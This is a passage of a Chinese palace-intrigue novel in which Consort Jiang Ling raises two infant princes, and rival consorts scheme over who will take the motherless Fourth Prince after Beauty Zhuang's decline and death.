谁曾想,几人都一并拒绝了。连江舲认定的柳贤妃,借口见着四皇子,便会想起早夭的儿子,拒绝得很是坚定。 江舲始料不及,线索断掉,完全没了方向。 更为头疼的是,元明帝在她的封号前,加了一个慧字,变成了慧淑妃,成了唯一有徽号的妃。 徽号以示尊崇,尊贵。在身份地位上,虽贵妃在前,江舲若向林贵妃行礼,她必须还全礼。两人隐约有平起平坐的意思。 江舲不在意这些虚名,最为重要的是,她身份变得尊贵之后,四皇子这个烫手山芋,十有八九会落到她手上! 第76章 太阳炙烤, 举目望去,青石地面仿佛晃着一层水光,令人恍惚。花木树叶耷拉下来, 连鸣蝉都没了力气鸣叫,柔仪宫安静得落针可闻。 石嬷嬷端着茶点, 掀帘走进偏屋。茶水的耳房到偏屋仅几步路,鬓角的发丝被汗水濡湿。 偏屋凉意浸浸, 萧珈桐在书桌前认真写字, 柳贤妃倚在临窗的圈椅中,手捧书卷在读。 石嬷嬷轻手轻脚上前, 分别奉上茶点。萧珈桐待最后一笔写完后,放下笔, 捧起茶盏抿了几口。 柳贤妃将书卷放在身前, 取了颗糖莲子吃。石嬷嬷打量着柳贤妃瘦弱的身子,迟疑着劝道:“屋中冰鉴着实太冷,娘娘身子弱, 仔细寒气浸体。” “我不冷。”柳贤妃轻声说着, 她顿了下, 抬眼看向冰鉴, 复又笑了:“慧淑妃说得是, 冬日暖和, 夏日凉爽,舒适才是上好的养生之道。总将寒气热气挂在嘴边, 结果白吃一堆苦头。今年的炎夏, 比往年都要好过。” 石嬷嬷在屋中站了一会,感到凉快下来,确实比哪怕不动, 汗水都汩汩而下的耳房好过。她没再多劝,收拾完凉掉的陈茶,恭敬告退。 萧珈桐吃着点心,若有所思听着她们说话。这时,她看到石嬷嬷走了出去,出声道:“娘娘为何不养着四皇子?” 柳贤妃神色淡淡,拿银匙不紧不慢舀着糖莲子,道:“养儿不易,虽说有奶娘宫女内侍一堆人伺候,哪能真就撒手不管,得不错眼地盯着。我如今上了年岁,何来那般多的精力去养孩子。” 萧珈桐沉吟了下,道:“娘娘,我长大了,可以帮娘娘看着。” 送到嘴边的银匙停住,柳贤妃放回碗中,温和地道:“阿桐,你以为,我为何该抚育四皇子?” 萧珈桐似乎早已深思熟虑过,柳贤妃一问,她便侃侃而谈:“贵妃慧淑妃德妃娘娘皆有皇子,就娘娘只得我一人。虽我不是娘娘亲生,娘娘待我似亲娘一样。娘娘的不易,辛苦,我看在眼中,却无能为力,帮不了娘娘。” 她看着桌上的功课,老气横秋叹了口气,“娘娘,我终究是公主,做得再好,阿爹随意夸赞一句,从不曾真正在意过。” “你还小,无需操这么多心,管着吃好睡好,读好书即可。” 柳贤妃安抚了萧珈桐一句,话锋一转,“看待事情,如何做抉择,切莫仅瞧着自己,亦莫要一味盯着他人。抚育四皇子之事,得要多看,看自己,也看他人。看他人,便是为何贵妃慧淑妃德妃为何不愿抚育。看自己,我又为何不愿抚育。” 萧珈桐神情专注,思索着道:“其他几位娘娘不愿抚育,是她们已经有皇子,四皇子身子弱,扶养着实不易。若出事,阿爹心生不喜,其他人也会在背后说闲话,到底不是自己亲生的儿子,半点都不上心。还会借机污蔑,故意养废养坏了四皇子。” “阿桐果真聪慧,想得很是周全。”柳贤妃笑着夸赞,轻轻颔首,让她继续。 萧珈桐怔住了,羞赧道:“娘娘。我只想到了这些。” “无妨,你还小,以后就会懂。” 柳贤妃并不责怪,抬手将她叫到自己身边坐着,轻声道:“阿桐,你莫要忘了,你生在皇家。皇家住在皇城,皇宫。皇家规矩森严,也是最最没规矩的地方。说几句世家大族的闲言碎语无关紧要,若论皇家的是非,有可能被砍头。污蔑,闲话,皆算不得大事。皇宫之中,最最紧要、关键之地,在垂拱殿大殿的丹陛上。” 垂拱殿丹陛上,乃是龙椅。 萧珈桐神色一震,柳贤妃拍了拍她的手背,“阿桐读了史,史书上,皇家兄友弟恭者,一只手都不到。以前我看到兄弟分家,穷人家争一把柴禾,富人家争田地铺子银两,皇家争江山社稷。若有人称换做自己,甘愿只做贤王,阿桐,你且随他们去,千万别听到心里去。因为啊,他们没有江山社稷可争,干站着说闲话,最为容易了。辛辛苦苦养大,最终闹得血刃相向,何苦来哉。” “娘娘,那……可会让赵嫔娘娘养?”萧珈桐回过神来问道。 “赵德妃不会让她养。”柳贤妃淡定地道。 萧珈桐犹豫了下,道:“娘娘,不如推给赵嫔娘娘抚育。” 柳贤妃沉默起来,眉眼间阴霾浮动,声音冷了下去:“我此时不宜出头。” 萧珈桐察觉到柳贤妃的变化,不禁瑟缩了下,咬了咬唇,鼓起勇气道:“娘娘可是担心会累及袁大伴?” “世上聪明人多,后宫之中都是人精。”柳贤妃垂下眼帘,掸了掸皱起来的衣衫,“做过的事皆有痕迹,哪有天衣无缝。能算到三步已经很了不起,这次我就失算了。原本我算到了三步,有人赶上了两步。多出的一步,这时不能要。因着,此时还不是最紧要的关头。” 在原来的计议中,庄美人发疯,抚育不了四皇子,抱到柳贤妃膝下抚育。 自从江舲开始盯着华庆阁,柳贤妃便猜到,此事做不成了。后来,她干脆顺水推舟将此事做完,四皇子变成烫手山芋,对她的影响不大,几个有皇子的妃子才会紧张。 毕竟元明帝还算年轻,后宫年年进新人,不愁没皇子出生。 不过,柳贤妃也不敢大意,天时地利人和,缺一样不可。待年长的皇子出宫开府,在朝堂有自己的势力,事情就会变得棘手。 此事只有她们两人知晓,连近身伺候的石嬷嬷都不知情。柳贤妃自小告诉萧珈桐,既然是机密之事,越少人知晓,才算得上机密,最好只有自己知晓。 “该读《女诫》了。”柳贤妃没再继续说下去,看到滴漏的时辰,提醒萧珈桐道。 萧珈桐听话地放下点心,取布巾擦拭干净手,取了《女诫》细读起来。 柳贤妃告诉她,《女诫》可不当做一回事,却不得不读,必须读得滚瓜烂熟,能信手拈来用。 繁英阁热闹盈天,三皇子在地毡上飞快爬,嘴里叽叽喳喳叫唤,四皇子闭着眼,瞪着双腿哭个不停。他们人虽小,声音却嘹亮高亢,估计垂拱殿都听得见。 屋中凉爽,吴奶娘急得鼻尖泛出汗珠。云慧云霞更是惊慌失措,一边哄着四皇子,一边对吴奶娘道:“四皇子肯定是饿了,你赶紧喂他吃奶!” “半个时辰前四皇子才吃过奶,娘娘吩咐过,不能喂太多。”吴奶娘解释着,摸到四皇子的尿布仍然干爽,只能抱着他在屋中来回走动,焦急地哄着他:“四皇子,小祖宗,你小声些,莫要再哭了。” 江舲每天照看两个皇子,根本睡不了安生觉。先前她方睡下,如今被两人一吵,估计又不能睡了。 紫衫青檀拿布老虎逗着三皇子,被他一掌拨开,嘴里叫嚷着,扶着墙壁站起身,跟壁虎一样贴着不动。 江舲刚睡过去,就被两人吵醒。她揉着眉心,拉起薄被裹住头,堵住耳朵。 文涓从屋外进来,她次间看了眼,叹了口气,上前看向吴奶娘怀里的四皇子,摸过他的额头,手心,道:“没事,他正是吃了就睡,睡了就吃的年纪,睡不好就会哭闹。你们耐心着些。” 吴奶娘长松口气,忙不迭点头应下。文涓再看屁股一撅一撅的三皇子,忍俊不禁笑出声。青檀紫衫扎着手护在他身后,便转身进了次间。 榻上的江舲蜷缩躺着,听到文涓进屋,她瓮声瓮气道:“文涓,给我一个冰碗,多加些蜜进去。” 平时江舲不吃糖,近来蜜越吃越多,文涓不敢多言,去端了冰碗进屋。 江舲坐起身,靠着窗棂吃着冰碗。文涓将窗棂卷起一道缝,屋中亮了些。 “你们也去吃一碗,大家都不容易。”江舲吃了甜滋滋的冰凉蜜水,心情缓和不少。 照料两个皇子的奶娘宫女,江舲从不亏待,吃穿大方得很。 尤其是云慧云霞得了江舲的救命之恩,两人格外忠心卖力。文涓出去传了话,青檀最喜吃冰碗,笑得眼睛都弯了,“娘娘待我们真是好。冰碗吃了也不会坏肚子。” 文涓笑道:“那是照着娘娘吩咐做的冰碗干净,别的冰碗,你们可别乱吃。” 青檀吐了吐舌头,悄然朝文涓挤眼偷笑。 元明帝在繁英阁经常吃冰碗,昨日回到垂拱殿后,让御膳房做了呈上来。 御膳房御厨从冰窖中取了干净的冰,用心做了精美的一小碗。元明帝吃了小半碗,吃坏肚子腹泻,今朝都没力气来繁英阁。 郑择前去诊治,首先想到了冰碗。御厨都是忠心可靠之人,有一大家子人,他们肯定不会、亦不敢下毒。差人来繁英阁询问,方知问题出在冰上。 文涓警告地瞪了眼青檀,拿了茶水进次间。江舲一动不动靠在墙上,似乎在出神。 “娘娘且忍一忍,过几天从坤宁宫划出来的屋宇收拾齐整,地方变得宽敞,娘娘就能好好歇着了。”文涓看着江舲眼底的青色,宽慰着道。 从坤宁宫圈出来的地方,经过几个月的修缮,终于完工。元明帝当做大事,还令钦天监看过良辰吉日,才会正式划入繁英阁。 江舲无力地道:“文涓,并非地方大小。” 她不知如何解释,也不好开口解释。 人心皆是肉长,别人她不敢保证,她至少如此。养了一段时日四皇子,她本身就是母亲,对他逐渐有了感情。 人皆有私心,江舲并不会高看自己。三皇子与四皇子两人,她肯定毫不犹豫偏向三皇子。 要是生在民间,她肯定会养育四皇子,悉心将他养大。哪怕有所偏爱,但也能做到公平,家产让他们平分。 偏生,他们生在皇家。 涉及到的东西太多,林贵妃她们不愿意接手四皇子,江舲完全理解。 近来江舲睡不好的时候,一直在思索,如何妥善安置四皇子。 这时,她终于下定决心,道:“文涓,待太阳小些,你去一趟撷芳阁探望庄美人,让伺候的人尽心些。你告诉她,四皇子在我这里,一切都很好,她养好病之后,四皇子就能回到她身边了。” 文涓惊讶不已,道:“娘娘,听说庄美人病得严重,只怕好不起来了。” 江舲苦笑了下,道:“死马当活马医吧。庄美人也是可怜人,你去盯着说几句话,她能过得好些,就算是积德了。” 想到庄美人的境遇,文涓目露不忍,点头应是。 过了片刻,文涓问道:“娘娘,若是庄美人好不起来呢?” 江舲仰头望着藻井,眼底情绪翻滚。半晌后,她静静地道:“让赵嫔养。” 文涓后背一寒,让赵嫔抚育四皇子,便是让赵德妃与赵嫔姐妹俩厮杀,不死不休! 第77章 太阳逐渐西斜, 撷芳阁西跨院临西的屋子,笼罩在夕晒之下。门窗紧闭的屋子甫一打开,一股犹如蒸笼冒出的气, 伴随着酸臭味铺天盖地而来。 文涓一个不察,差点被掀得背过气去。她抬手捂住口鼻, 偏过头去赶忙吸了几口气。虽热浪依旧,到底好闻了些。 紫衫一只手拿帕子捂住脸, 一只手搭在额头上, 睁大眼睛朝半开的屋中打量。背着光的屋子黑漆漆,桌椅案几胡乱摆着, 翻倒的圈椅后堆着杂物,这时似乎动了动。 “老鼠!”紫衫吓得叫出声, 连着后退了两步。 “那不是老鼠, 是人。”文涓没好气的瞪了紫衫一眼,神色暗淡下来。 在西跨院当差的粗使宫女嬷嬷远远站着,文涓招呼她们上前, 吩咐道:“将门窗都打开吧。灯烛处没短缺过灯烛, 怎地不掌灯?” 一个年长的嬷嬷嘀咕了声, 抱怨道:“庄美人清醒的时候少, 前些时侯入夜后掌了灯, 她拿着灯烛把玩, 差点将屋子都烧了。” “廊檐下的灯盏,庄美人也能够得着?”文涓淡淡说了句。 嬷嬷不做声了, 忙心虚地将门窗都打开, 取了乌桕蜡出来点灯盏。 文涓同是仆从,知道她们在冷宫当差辛苦,生病的庄美人比其他人更加难伺候, 就没再做声。 眼睛适应了一阵,嬷嬷提着灯笼在门边照着,文涓终于能看清楚蜷缩在圈椅后的庄美人。她脏污的头发乱蓬蓬披散着,瘦骨嶙峋的脸,早已看不出原来的美貌。双眸一瞬不瞬,眼睛直勾勾盯过来,阴森渗人。 文涓被看得头皮发麻,她屈膝见礼,试着轻声道:“庄美人,我是慧”想到庄美人不知江舲已经加了徽号,改口道:“奴婢淑妃娘娘跟前伺候的文涓,美人可还记得奴婢?” 庄美人像是蓄势待发扑上来般,一言不发死死盯着文涓,文涓轻叹一声,照着江舲教的话道:“美人,四皇子” “我儿!” 这下,庄美人有了反应,哑着嗓子尖叫一声,以迅雷不及掩耳之势从圈椅后奔向文涓。不过,她的动作虽快,身子终究太虚弱,踉跄奔了几步,一头栽倒在地。 “美人!”文涓惊了跳,不顾一切上前搀扶,被庄美人反手紧紧抓住。 “我儿!还我儿来!”庄美人的手指像是干枯的树枝,青筋直冒,她拼劲全力,泣血般,反复地嘶声喊道:“我儿,还我儿来!” 庄美人浑身脏污,指甲隔着衣衫,嵌进文涓的肌肤。她疼得嘶了声,紫衫见状赶忙上前,伸手将庄美人拉开。 “没事。”文涓说了声,紫衫犹豫了下,不放心守在了一旁。 短短的功夫,文涓身上已经被汗水湿透,顺着流进眼中,眼睛一阵刺疼。 “美人,四皇子很好,与三皇子在一起,由淑妃娘娘照看着。” 文涓叹了口气,望着早已不成人形的庄美人,温言细语道:“淑妃娘娘以前就救过美人,四皇子病得厉害,淑妃娘娘帮着将他救了回来呢。淑妃娘娘让奴婢来告诉美人,美人好生养病,待身子好起来,美人就能见到四皇子,母子团聚了。” 庄美人神情一片茫然,眼眸中却渐渐浮起了泪。松开手,自顾自嘀咕念叨起来。 她的声音含糊,文涓仔细辨认,听清她反复叫着“四皇子”。 “你看这白玉的高台,可像是一座戏台?台上的伶人或多或少,皆有些癫狂。否则,如何唱得出那些滑稽荒唐的戏。” 文涓想起那日经过坤宁宫前的汉白玉丹台时,江舲所言之语,鼻子忍不住发酸。 庄美人的病无解,除非她自己能战胜心魔。文涓叫上紫衫,将屋中桌椅摆好,拉着仍在不断念着“四皇子”的庄美人在椅子中坐下。 “美人好生保重,四皇子那边缺不得人,奴婢先回去了。”文涓轻声道。 庄美人抬头看向文涓,只一眼后又低下头去,继续念了起来。 文涓走出屋,从荷包里拿了约莫五钱银子,递到为首的嬷嬷跟前。 嬷嬷眼睛一亮,飞快地接了过去,点头哈腰地道:“多谢文娘子,多谢文娘子!” “天气炎热,门窗不得关严实,必须常打开透气。庄美人的吃食,清水都缺不得,要常给她清洗换衣。” 文涓吩咐了一堆,嬷嬷都一口应了。她自不会相信,恩威并施道:“我会时常来,美人过得好,你们有赏,美人要是过得不好,都是伺候人的,别怪我没提醒你们,美人是四皇子生母,她病得再严重,也由不得我们这些下人欺负了去。” 嬷嬷怔愣了下,赶忙应道:“文娘子放心,我一定好生伺候,这就去打水给美人更洗。” 文涓紫衫亲自看着,庄美人也不挣扎,如木偶一样任由她们洗刷换衣,清理屋子床榻。 天色暗沉下来,西跨院勉强凉爽了些。文涓紫衫再叮嘱了嬷嬷她们几句,两人一起回繁英阁。 繁英阁灯火璀璨,三皇子在笑,四皇子倒安静无声。文涓清洗之后前去明间,江舲飞快地在用着饭。三皇子靠墙坐着抿甜瓜,青檀丹桂守着伺候。云霞云慧守在睡着的四皇子摇车边, “回来了。”江舲手上不停,对文涓道:“你们先去用饭,等下再说。” 等下三皇子要吃奶,更洗,睡觉。一到夜里,除了江舲,谁都哄不住他。三皇子要是哭,四皇子被吵醒之后,会跟着他一起哭。两人跟比试一样,哭得人脑仁都疼。 江舲片刻都不得闲,连用饭都快得如急行军。文涓回去耳房,阿箬替她与紫衫备好了饭菜,几人围坐在一起用起来。 入夏之后菜蔬多起来,繁英阁一向吃得清淡,多以鱼虾蛋为主。文涓她们的饭菜与江舲差不多,阿箬手指灵活剥着白灼青虾,没一会,她的一碟子青虾就吃得干干净净。 “我这里还有,阿箬姐姐你拿去吃吧。”紫衫没甚胃口,将她碟子中的虾推到了阿箬面前。 “那我就不客气了。”阿箬高兴地拿起虾剥起来,剥出来的第一只虾仁,放到了紫衫碗中。 紫衫顿了下,不客气地捡起来吃了。阿箬撇嘴,佯装生气地道:“好啊,你在这里等着我,打算我给你剥虾呢!” “阿箬姐姐宽宥则个,接下来的虾,阿箬姐姐都吃了吧,不用给我了。”紫衫忙赔笑道。 “怎地,去撷芳阁走一趟,难过得虾都吃不进去了?”阿箬问道。 紫衫老气横秋叹气,“大家都说,庄美人生得跟兰草一样出尘,身上有股仙气。如今庄美人看去,唉,说句大不敬的话,就跟那疯妇没甚区别。” 阿箬如今颇有大将之风,听紫衫这般说,并不感到惊奇。她先看了眼默不作声用饭的文涓,道:“撷芳阁算是不得宠的后妃寝宫,娘娘以前只是才人。当时娘娘也想不开,重病过一场。我以为娘娘熬不过去,谁知娘娘挺了过来。娘娘是活明白了,日子一天好过一天。别看得宠不得宠,这人首先要想得开。想不开的,都疯了,没了。” 紫衫咬着筷子,神色若有所思。文涓想说什么,终究不曾开口。她动作快,放下碗筷,倒了清茶漱口,道:“你们快些,换青檀丹桂回来用饭,等下娘娘那边该忙了。” 两人赶忙吃起来,饭后来到明间,换下当值的丹桂青檀。文涓已经收拾完碗筷,小宫女上前接过送回膳房。 三皇子抿了会甜瓜,开始哼哼唧唧起来。江舲赶紧抱着他来到次间喂奶,洗漱,哄着他睡下。 那边四皇子醒了,吴奶娘歇息,换了袁奶娘喂他。幸好吃过奶之后,四皇子没再哭闹,换过尿片后就睡了过去。 江舲总算能喘口气,洗漱之后倚靠在榻上,听文涓紫衫低声说起前去撷芳阁的情形:“奴婢娘娘的吩咐,将银子给了嬷嬷。有好处吊着,伺候的人能尽些心。” 虽早就猜到庄美人的状况,江舲还是心生恻隐,道:“天气太热了,明朝让人送些冰去。至于能否好转起来,端看天意了。” 放眼整个皇宫,江舲估计是最最虔诚盼着庄美人能好起来之人。 首先,她就不必再扶养四皇子,由亲生母亲养着,对四皇子也是最好不过之事。 其次,要是将四皇子让赵嫔养,对他来说,虽从出生起,便注定了皇子之路会崎岖不平。但他太年幼,着实太过残忍。江舲不愿意做这些,只她有自己要守护的人。元明帝身为父亲,他的关心不太值钱,虚假得像礼部封赏时拟定的华丽骈文。 文涓她们常去撷芳阁,庄美人日渐好转,虽不如正常人神志清楚,平静的时候多了起来,偶尔还能正常说上几句话。 时日倏忽而过,夏去秋来,坤宁宫划进来一部分之后,繁英阁虽依然叫阁,却不比宫小,如今形成前殿后寝的格局。 三皇子满了周岁,正式取了大名萧允瓒。加上江舲的徽号大庆,摆宴繁英阁。 诰命夫人们进宫领筵,江舲被恭维着请安见礼,她感到了众星捧月般的滋味,同时许久不见的社恐,再次回到她身上。 筵席之后,江舲便深居简出,专心看顾着三皇子与四皇子。 今年冬日格外寒冷,庄美人身子亏损得厉害,在初雪来临时病倒了,咳嗽不断。 可惜的是,庄美人坚韧地熬过了寒冬,春寒料峭。她却没等来真正的春暖花开,四皇子的周岁。 溘然长逝。 元明帝难过了一场,追封庄美人为顺嫔。江舲不得闲,由林贵妃操持一应的丧仪。 庄顺嫔停灵撷芳阁,江舲算了一下,撷芳阁如今已经是第三次办丧事。 嫔的丧事规制高,嫔的陵在妃之后,需要修墓穴,有陪葬器物。大殓小敛成服发引到下葬,前后要近一年半载。 进宫哭灵的命妇们品级随之升高,撷芳阁搭满灵棚,伺候的宫女内侍们恭敬肃立。 惠风和畅的时节,太阳和暖,撷芳阁却一片肃然。抑扬顿挫的哭声,伴随着香烛纸钱萦绕在空中。 江舲身着素净的衣衫,来到摆棺椁的正屋。天气暖和起来,屋角摆满冰鉴,寒意森森。在正中央,放置的楠木棺材外面裹着椁,朱漆上描着金色祥文。 林贵妃在苇棚中歇息,许嬷嬷与绣云在灵堂操持。见江舲进来,屋中众人赶紧见礼,绣云递上香。 江舲颔首接过香在手,上前拜了拜,将香插进香炉中。许嬷嬷随即递上灯油,江舲添了些在长明灯中,在盆中加了元宝纸钱,略微停留片刻,便算是礼成。 出了灵堂的门,来到太阳下,江舲总算感到暖和了几分。她不打算多留,前去与林贵妃道别。 苇棚中,赵嫔也在。江舲进去之后,她起身站立,林贵妃随后一步站了起来,与江舲互相见礼。 赵嫔紧跟着屈膝下去向江舲见礼,“慧淑妃也来了,怎地不见四皇子?” 江舲朝她颔首,道:“四皇子太小,这里人多,烟气重,我就没带他来。有孝心不在此时,等他长大些,再让他去顺嫔墓前磕头。” 林贵妃道是,“还要过几日才满周岁,哪懂得这些。要是因此病了,顺嫔在九泉之下也不得安心。” 她招呼江舲坐,“我先前还在与赵嫔说起四皇子满周岁的事,你来了,正好听听你的主意。” 江舲坐了下来,林贵妃道:“顺嫔还在办丧事,按理说四皇子的周岁不宜操办。只周岁不同别的岁数,即便不办筵席,总归要抓周,赐大名,录宗谱。四皇子在你宫中,就由你操持了,我们各处送添周来。” “阿瓒淘气,四皇子也愈发活泼,我照看他们两人都累得够呛。” 江舲不咸不淡说了句,话锋一转,对着赵嫔道:“赵嫔若是得空,四皇子的周岁,就放在香雪阁,由赵嫔帮着操持可好?” 赵嫔控制不住地神色一喜,林贵妃一下没反应过来,怔愣在那里。 第78章 从赵嫔的反应来看, 江舲的提议好比是喜从天降。她想要抚育四皇子的心思,昭然若揭。 起初江舲照着规矩来给林贵妃见礼,并不知赵嫔与她同在苇棚。她的话是临时起意, 但林贵妃提到四皇子周岁生辰,应当并非如此了。 大胤以孝治天下, 皇子周岁生辰,自不可大肆操办。私底下摆场仪式, 图个吉祥便可。 林贵妃故意在庄顺嫔的丧事上提出来, 以她的聪慧,显得过于急迫了些。 江舲很快想通其中的关窍, 赵嫔借林贵妃之手想要四皇子,林贵妃则是顺水推舟。赵嫔有皇子在手, 最光火之人, 应当是赵德妃。 姐妹俩争斗,林贵妃只用坐山观虎斗,渔翁得利。 对林贵妃而言, 三皇子才会走路, 连话都说不清楚, 四皇子则未满周岁。年龄相仿的二皇子, 则是当前最大的威胁。 且赵德妃自从李婕妤一事之后, 万事不出头, 平时难见人影,一心扑在养育二皇子身上。 林贵妃亦如此, 养育好大皇子方是最重要之事。两人都是聪明人, 旗鼓相当,赵德妃潜伏不动,比动更让林贵妃忌惮。 “慧淑妃抚育两个皇子确实辛苦, 两人真是懵懂好动时,得不错眼地盯着。” 林贵妃反应极快,很快就恢复了寻常,对赵嫔道:“唉,四皇子年幼丧母,可怜呐。如今二公主长大懂事了,你多费些心思,母丧要守孝,吉利平安也少不得。” 赵嫔忙绷住心头的喜悦,道:“贵妃慧淑妃放心,该准备的物什,我一样都不会少。” 林贵妃附和得那般迅速,也有与江舲同一阵营的意思了。江舲心情颇为复杂,她们从不撕破脸皮,可以敌对,亦可结盟,言笑晏晏间皆是算计。 江舲略微坐了一阵,便告辞回了繁英阁。三皇子斜着身子在庭院高兴地奔跑,四皇子抱着云霞的腿,目光紧紧追随着三皇子,咧嘴跟着傻笑。 自从四皇子来到繁英阁,江舲事无巨细照顾着他的饮食起居,却从未抱过他一次。 望着他在春阳下稚嫩纯真的笑脸,撷芳阁中冰冷的棺椁,江舲心底叹了声。她走上前,在四皇子面前蹲下来,抚摸着他的手心后背。 “有些热了,等下将厚夹袄脱掉。”江舲吩咐道,云霞赶紧应了。 江舲正准备起身时,迎上四皇子黑漆漆清澈的双眸,他一瞬不瞬望着江舲,小手抓住了她的裙摆叫唤了声:“阿娘。” 平时三皇子一天要喊上百次的江舲,虽未有人教过四皇子,他们经常在一起,跟着也就学会了。 江舲心头一酸,伸出手去,四皇子一下扑进她怀里。闻着他身上淡淡的奶香气,江舲不曾犹豫,将他抱了起来,解开他厚袄的盘扣:“太热了,敞着凉快一会。” 就当做是他周岁的生辰礼,在不知世事时母丧的抚慰。 “我带你去认花。”江舲指着庭院中累累盛放的花草,与以前带三皇子那样,一一认过去。 四皇子小手紧紧拽着江舲的衣襟,兴奋地跟着江舲指点看去,又忙着去看三皇子,嘴里含糊不清地说着什么。 三皇子似乎听懂了四皇子的话,他如今到了狗都嫌的年岁,清脆大声地拒绝道:“不!” 江舲没好气地瞪了三皇子一眼,柔声对四皇子道:“我们去那边歇一阵,太阳太大了,等下再吃点水。” 虽然是婴幼儿,无论他们可能听懂,江舲无论做什么事,都会告知。回廊阴凉,视野开阔,能看到庭院中的热闹,江舲抱着四皇子走去坐下,“云霞,你去拿些清水来。” 云霞忙去了,江舲让四皇子坐在腿上,揭开他的老虎头幞头,“哎呀,头发都打湿了。我闻一闻。”她凑过去,闻到一股酸味,不禁佯装嫌弃笑道:“哎呀,都臭了。” 四皇子见她笑,跟着一起笑,露出细白的米牙,双眸比太阳还要明亮。 云霞拿了清水过来,江舲试过温度,喂他吃了小半盏,见三皇子撅着屁股去扯花盆中牡丹,赶紧拦着了,“快把他给捉过来!” 阿箬上前抓住三皇子的手臂,他不依地大叫,扭动着身子挣扎。江舲并不惯一味地顺着他,阿箬得了吩咐,夹着他的腋下,一把将他提了起来。 三皇子双腿在空中蹬了几下,觉着好玩,立刻丢下牡丹,小腿在空中蹬个不停,玩得不亦说乎。 “你去提些热水来,趁着天气好,给他们两人都洗个头。”江舲将幞头松松搭在四皇子头上,对云霞道。 云霞去要热水了,阿箬提着三皇子来到回廊,他看到江舲,伸着小手大喊:“阿娘,阿娘!” 江舲好笑地道:“放他下来吧。”阿箬将三皇子放在地上,他像是小炮仗般冲到江舲面前,伸手去推四皇子,“阿娘抱!” 四皇子身子一晃,江舲赶紧稳住了他,腾出一只手,抱住了三皇子。 这下被吓了一跳,撇嘴要哭的四皇子,眼泪汪汪着,依偎在了江舲的怀中。不满江舲搂着四皇子的三皇子,攀着她的胳膊,跟猴儿一样往她腿上爬。 一时间,江舲双手都不得空,阿箬怕三皇子摔着,抱起他放在江舲的腿上。三皇子与四皇子同在江舲怀里,两人你看我,我瞧你,莫名其妙地笑起来。 笑声回荡在春日中,天空一望无垠,一只五彩的蝴蝶,停驻在牡丹花蕊中。过了一阵,蝴蝶煽动翅膀飞了起来,在他们身边盘旋几圈,飞入花木从中不见了踪影。 今朝是庄顺嫔大殓的日子,江舲望着蝴蝶离开的方向,久久未动。 云霞她们打来热水,在太阳下摆好。江舲回过神,道:“走,你们都去洗头。” 三皇子对“洗”字最为敏锐,一听立即如泥鳅般滑下地,迈着小短腿跑了。阿箬紫衫几人赶紧追上前,扎着手护在左右。 反正他时常洗,过一阵又是一头汗,江舲就没管他,抱着四皇子上前坐下,将他放在腿上,见他一脸害怕,伸手挡在他眼前,柔声安抚道:“别怕啊,很快就洗好了。” 云霞打湿布巾,轻柔地擦拭着四皇子的头。他也不挣扎,双手拽成小拳头,僵硬地躺着。 江舲将手掀开一条缝,笑着与他说着话,“洗干净就不臭了,小舟不洗,他是个臭宝宝。” 四皇子在江舲的温声笑语中,小身子逐渐放松,打了个哈欠,眼皮耷拉下去,陷入了沉沉的梦乡。 “快一些,给他擦干。”江舲拉紧四皇子的厚袄,小声对云霞道。 云慧也一起上前帮忙,动作轻柔地擦拭着四皇子头上的水。 这时,元明帝走了过来,看到庭院中摆着的盆布巾,他脸上浮起笑,咦了声,“这时在作甚?小舟又淘气,跑得一身汗了?” 江舲抱着四皇子不便,欠身下去见礼,小声道:“睡着了,皇上小声些。” 元明帝轻手轻脚走上前,看到江舲抱着的是四皇子,他顿时一愣,目光复杂地看着他们。 四皇子擦干头,戴上干净的幞头,江舲抱着他起身回屋,放进摇车中。他一下醒转过来,睁大眼睛看过来。江舲柔声哄着,很快,四皇子便睡了过去。 江舲让云霞她们守着,起身离开偏屋。元明帝杵在门前不动,江舲停下脚步,侧身让开:“皇上可是要进屋?” “我不进去了。”元明帝负手在后,转身离开,边走边侧首看向江舲:“怎地想起给他洗头了?” “天气炎热,他出了一头的汗,头都酸臭了。趁着天气好,给他洗一洗。”江舲瞥了眼元明帝,暗自腹诽了句少见多怪,还是认真解释了。 元明帝笑着没说话,他时常见到江舲抱着三皇子,从未见过她抱四皇子。心里虽不大舒服,念着毕竟不是四皇子的生母,有所偏爱也是常理。要是责怪她,她脾气差,说不定,一气之下就不养四皇子了。 “小舟呢……”元明帝问着三皇子,来到明间门前,看到三皇子坐在他的小杌子上,拿着梨条在啃,不由得笑道:“这小子,成日小嘴就没片刻停过。” 江舲没接话,进屋坐下来,端起茶盏一气吃了,呼出口气,道:“真是片刻不得闲,连水都顾不上吃。” 元明帝关心地道:“让伺候的人去做,仔细累着了。” “哪能放得下心。”江舲放下茶盏,轻轻捶着胳膊,道:“尤其是洗头沐浴,一定要人哄着,就怕乱蹦乱跳水弄到眼睛耳朵中去。” 她有一搭没一搭与元明帝说起来,顺势说到了庄顺嫔的丧事,“四皇子周岁生辰快到了,在丧期不宜庆贺,免得他白白落个不孝的罪名。只周岁要上宗谱,取大名,抓周总少不得,主要是图个吉利,盼着他能平平安安长大。” 元明帝点头道:“你考虑得周全,抓周之事不可少,你且去准备就是。朕已经取好他的名,从允字辈,名琅。到时让九叔公来主持,记入宗谱。” 他略微停顿,笑着对江舲道:“四皇子自小跟在你身边,这次记入宗谱,就将他记在你的名下。” 九叔公贤郡王是萧氏皇族辈分最高的王爷,管着大宗正司,皇家宗室的一应事务。 江舲心中骂了句,委婉地拒绝了,“皇上,皇宫人多,四皇子现在不记事,长大后也会知晓,我并非他的生母。庄顺嫔九死一生将四皇子生下来,这份天大的恩情,四皇子应该记住,我如何敢贪功。” 三皇子吃完梨条,来到门槛边,闷声不响抬起小短腿,试图往外翻。江舲看到,几步上前将他提溜起来,交给迎上前的阿箬。 “皇上也看到了,小舟学会走路后,片刻都离不得人。不是怕他摔着,就怕他手快,连石子都往嘴里塞。虽有宫女们在,他过一阵见不到我,马上就要哭着找。” 江舲站在门边,看着试图钻回廊栏杆缝隙的三皇子,摇摇头,无奈地道:“我实在不得空,将四皇子周岁的事托付给了赵嫔。赵嫔将二公主养得玉雪聪明,身为皇家公主,半点就不见骄矜,谁人见了不夸赞。皇上,将四皇子养在赵嫔膝下,最最合适不过了。” 从江舲不愿将四皇子记在她名下起,元明帝就端坐在圈椅中,他一言不发,眉眼隐隐浮现出不悦之色。 到此刻,元明帝终是忍不住心底的怒火,厉声道:“四皇子究竟何处碍着了你,你此般不待见他!自打生下来就养在你跟前,便是养着逗趣的狸猫狗儿,生了亲近舍不得,你倒要迫不及待扔出去!” 